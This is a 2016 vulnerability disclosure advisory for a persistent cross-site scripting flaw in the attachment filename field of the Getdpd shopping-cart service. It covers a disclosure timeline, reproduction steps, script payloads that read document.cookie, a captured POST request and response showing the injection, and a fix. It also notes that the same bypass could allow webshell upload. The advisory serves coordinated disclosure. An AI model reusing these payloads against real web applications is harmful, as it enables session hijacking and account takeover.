Getdpd Filename Cross Site Scripting
Posted on 08 February 2016
Document Title: =============== Getdpd BB #5 -Persistent Filename Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1569 ID: #14773 Release Date: ============= 2016-02-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1569 Common Vulnerability Scoring System: ==================================== 4.2 Product & Service Introduction: =============================== DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and delivers millions worth of downloads each year. (Copy of the Vendor Homepage: https://getdpd.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-08-09: Researcher Notification & Coordination (Hadji Samir) 2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program) 2015-09-07: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program) 2016-01-22: Vendor Fix/Patch (Getdpd Developer Team) 2016-02-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application. The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module. The vulnerability is located in the filename value of the attachment file upload module. Remote attackers with low privilege web-application user accounts are able to inject own malicious script code via POST method request to the application-side. The injection point is the vulnerable filename parameter in the upload POST method request and the execution point is located in attachment file listing module. The request method to inject is POST and the vulnerability is located to the application-side of the vulnerable online-service. The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Service(s): [+] getdpd.com Vulnerable Module(s): [+] File Upload - Attachment Vulnerable Parameter(s): [+] filename Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1- Go https://getdpd.com/plan 2- Click Add content 3- Upload vile in Attached Files upload file with name <iframe src="x" onload="alert(document.cookie)">.png 4- Watch the file attachment listing for execution or to share! 5- Successful reproduce of the security vulnerability! Note: The issue allows to bypass the file type validation which can also result in arbitrary file upload of webshells to takeover the full web-server. We mention this to ensure you get the full attack vector right now. --- PoC Session Logs [POST] --- 13:18:08.707[479ms][total 479ms] Status: 302[Found] POST https://getdpd.com/plan/275/post/update Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[102] Mime Type[text/html] Request Headers: Host[getdpd.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Referer[https://getdpd.com/plan/275/post/edit] Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: POST_DATA[-----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="_csrf_token" 5dd0e8de2f12cbf4cfdddb7af46239126a7861de -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="id" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="title" test -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="content" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="excerpt_text" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="synopsis" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="upload_file[0][src]" o_19sbonbguapqtjbgkn2sa1e8q7.png -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="upload_file[0][name]" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="status" DFT -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="publish-type" publish-date -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="published_at" Aug 10, 2015 8:21am -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="publish_after_days" -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="send_publish_email" 0 -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="send_publish_email" 1 -----------------------------14017750523507698851607262969 Content-Disposition: form-data; name="image_file"; filename=">"<script>alert(document.cookie)</script><div style="1" [PERSISTENT INJECTED PAYLOAD TO FILENAME VALUE!] Content-Type: application/octet-stream -----------------------------14017750523507698851607262969--] Response Headers: Date[Mon, 10 Aug 2015 12:21:34 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[https://getdpd.com/plan/show] Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure] Vary[Accept-Encoding,User-Agent] Content-Encoding[gzip] P3p[CP="NOI CURa OUR NOR UNI"] Content-Length[102] Connection[close] Content-Type[text/html] PoC: Source - Attached Files List <fieldset><legend>Attached Files</legend></fieldset> <table> <thead> <tr> <th>File</th> <th>Available for Trials</th> <th>RSS Enclosure</th> <th>Remove</th> </tr> </thead> <tbody id="filelist"> <tr class="new-unsaved-file"> <td> <input name="upload_file[0][src]" value="o_19sbkc6in15vt3vls4n13lakue7.png" id="target_o_19sbkc6in15vt3vls4n13lakue7" type="hidden"> <input name="upload_file[0][name]" value="" type="hidden"> <iframe src="./Edit Content DPD Shopping Cart_files/x.html" onload="alert(document.cookie)"> .png" /> <input type="text" name="upload_file[0][friendly_name]" value=""><iframe src=x onload=alert(document.cookie)> .png" /> <span id="o_19sbkc6in15vt3vls4n13lakue7">(5 kb) <b></b> </td> <td><input type="checkbox" name="upload_file[0][trial]" value="1" checked="checked" /></td> <td><input type="checkbox" name="upload_file[0][rss_enclosure]" value="1" /></td> <td><input type="checkbox" name="upload_file[0][remove]"></td> </tr></tbody></table></iframe></td></tr></tbody> </table> <div style="position: relative;"> <a id="pickfiles" class="btn btn-small" href="https://getdpd.com/plan/275/post/edit#" style="position: relative; z-index: 1;"><i class="icon-plus"></i> Upload File</a> <div id="html5_19sbkbuae137b178p176219lf9353_container" class="moxie-shim moxie-shim-html5" style="position: absolute; top: 0px; left: 0px; width: 104px; height: 26px; overflow: hidden; z-index: 0;"><input id="html5_19sbkbuae137b178p176219lf9353" style="font-size: 999px; opacity: 0; position: absolute; top: 0px; left: 0px; width: 100%; height: 100%;" accept="" type="file"></div></div> <p class="muted"> <i class="fa fa-exclamation-circle"></i> The RSS spec recommends that you only choose one file per post to be included. </p> Reference(s): https://getdpd.com/ https://getdpd.com/plan https://getdpd.com/plan/275/post/edit Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request. Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the persistent execution in the output location were the file attachment list becomes visible. Disallow usage of multiple filename as extension to prevent arbitrary file upload of webshells. Secure the type of file to secure the mechanism by manual interaction. Security Risk: ============== The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 4.2) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] [www.vulnerability-lab.com] (http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2016 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com